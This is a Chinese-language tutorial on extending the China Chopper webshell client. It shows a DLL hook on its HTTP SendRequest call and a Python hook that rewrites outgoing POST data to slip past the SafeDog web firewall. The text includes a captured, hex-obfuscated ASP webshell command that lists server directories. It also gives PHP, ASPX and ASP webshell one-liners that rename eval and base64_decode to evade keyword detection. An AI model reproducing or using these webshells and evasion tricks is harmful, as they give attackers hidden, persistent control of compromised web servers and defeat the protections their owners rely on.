制作属于自己的过狗菜刀:为菜刀添加接口
前言
中国菜刀是一个一句话连接工具,最后一版编译于20141213,时至今日仍然是一款优秀的工具。虽然菜刀本身在与服务器通信的时候做了二次编码,但到现在已经被各种WAF杀成狗。而菜刀也是没有开源的,今天就来给大家讲讲二次开发菜刀,为菜刀添加接口。
定位发送函数
下断点:HttpSendRequestW,连接一句话之后,断下来,查看调用堆栈。回溯发现call 0045B330调用了HttpSendRequestW。在这里下断点,再次触发。
可以看到第二个参数就是POST发送的内容,搜索这个MFC42u.#5803 API,发现其原型是:BOOLSendRequest( CString& strHeaders, LPVOID lpOptional = NULL, DWORDdwOptionalLen = 0 );
为了验证,我们来查看一下第一个参数,就是HTTP头。经过实际验证,所有数据都是通过SendRequest这个函数完成的。
编写DLL并Hook
typedef BOOL (__fastcall*FSendRequest)(
ULONG this_,
ULONG dummy,
WCHAR **headers,
PCHAR post,ULONG len);
//由于SendRequest是类函数,需要传递this指针也就是ecx。
//这里参考了http://www.2cto.com/kf/201205/132719.html
FSendRequest SendRequest=NULL;
//从输入表获取SendRequest函数地址
SendRequest = (FSendRequest)*(PULONG)0x467320;
//替换为我们自己的函数
*(PULONG)0x467320 = (ULONG)mySendRequest;
BOOL WINAPI mySendRequest(WCHAR**headers,PCHAR postdata,ULONG len)
{
ULONGrECX;
__asm{mov rECX,ecx}
return SendRequest(rECX,1,headers,postdata,len);
}
编译为chopper_Plugin.dll,然后修改菜刀,加入如下代码,让其加载我们的DLL。
可以看到,SendRequest函数已经被我Hook。
到这里就实现C语言的接口,只要修改mySendRequest函数,对postdata进行修改即可。
添加Python接口
实际测试中,C语言的接口太麻烦,修改一次就要编译一次。查看Python官方文档得知C可以直接调用py文件中的函数。
#include "python.h"
BOOL WINAPI mySendRequest_python(WCHAR **headers,PCHAR postdata,ULONG len)
{
BOOL Ret;
ULONG rECX=0;
__asm{movrECX,ecx}
Py_Initialize();
PyObject* pName = PyString_FromString("makepostdata");
PyObject* pModule = PyImport_Import(pName);
if(!pModule)
{
returnSendRequest(rECX,1,headers,postdata,len);
}
PyObject* pArgs = PyTuple_New(1);
PyObject* pArg =PyString_FromString(postdata);
PyTuple_SetItem(pArgs, 0, pArg);
PyErr_Print();
PyObject* pFunc =PyObject_GetAttrString(pModule,"makepostdata");
PyObject* pResult =PyObject_CallObject(pFunc,pArgs);
char*newpostdata = PyString_AsString(pResult);
Ret =SendRequest(rECX,1,headers,newpostdata,strlen(newpostdata));
Py_DECREF(pName);
Py_DECREF(pModule);
Py_XDECREF(pFunc);
Py_DECREF(pResult);
Py_DECREF(pArgs);
Py_Finalize();
return Ret;
}
这段代码,实现调用makepostdata.py中makepostdata函数。
将postdata传递给了makepostdata,将返回值作为新的postdata发送给服务器。
def makepostdata(postdata):
open('in.txt','w').write(postdata)#保存数据到in.txt
return postdata
pass=eval("Ex"%26cHr(101)%26"cute(""Server.ScriptTimeout%3D3600:On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(""""->|""""):Ex"%26cHr(101)%26"cute(""""On+Error+Resume+Next:""""%26bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D6526636872283437292663687228392926464428462E446174654C6173744D6F646966696564292663687228392926636872283438292663687228392926432E476574466F6C64657228462E50617468292E6174747269627574657326636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D6526636872283929264644284C2E446174654C6173744D6F6469666965642926636872283929264C2E73697A652663687228392926432E47657446696C65284C2E50617468292E6174747269627574657326636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")&z1=633A5C5C696E65747075625C5C777777726F6F745C5C
绕过安全狗
安全狗除了查杀一句话本身外,还查杀通信特征。经过测试,只要POST数据中包含eval, base64_decode两个关键字就会被拦截。
编辑makepostdata.py文件
def makepostdata(postdata):
ret = postdata.replace('eval','xxxx')
ret = ret.replace('base64_decode','yyyyyyyyyyyyy')
同时修改一句话为:
PHP:
function xxxx($str){return eval($str);}
function yyyyyyyyyyyyy($str){returnbase64_decode($str);}
xxxx($_POST['pass']); ?>
ASPX:
<%@ Page Language="Jscript"validateRequest="false" %>
<%function xxxx(str){returneval(str,"unsafe");}%>
<%var a = Request.Item["ee"];%>
<%var b = xxxx(a);%>
<%Response.Write(b);%>
ASP:
<%
Function xxxx(str)
eval str
End Function
D = request("pass")
xxxx D
%>
当有了接口之后,我们可以方便的查看修改通信数据。即使上述绕过方式被杀,修改makepostdata函数变形POST数据即可绕过。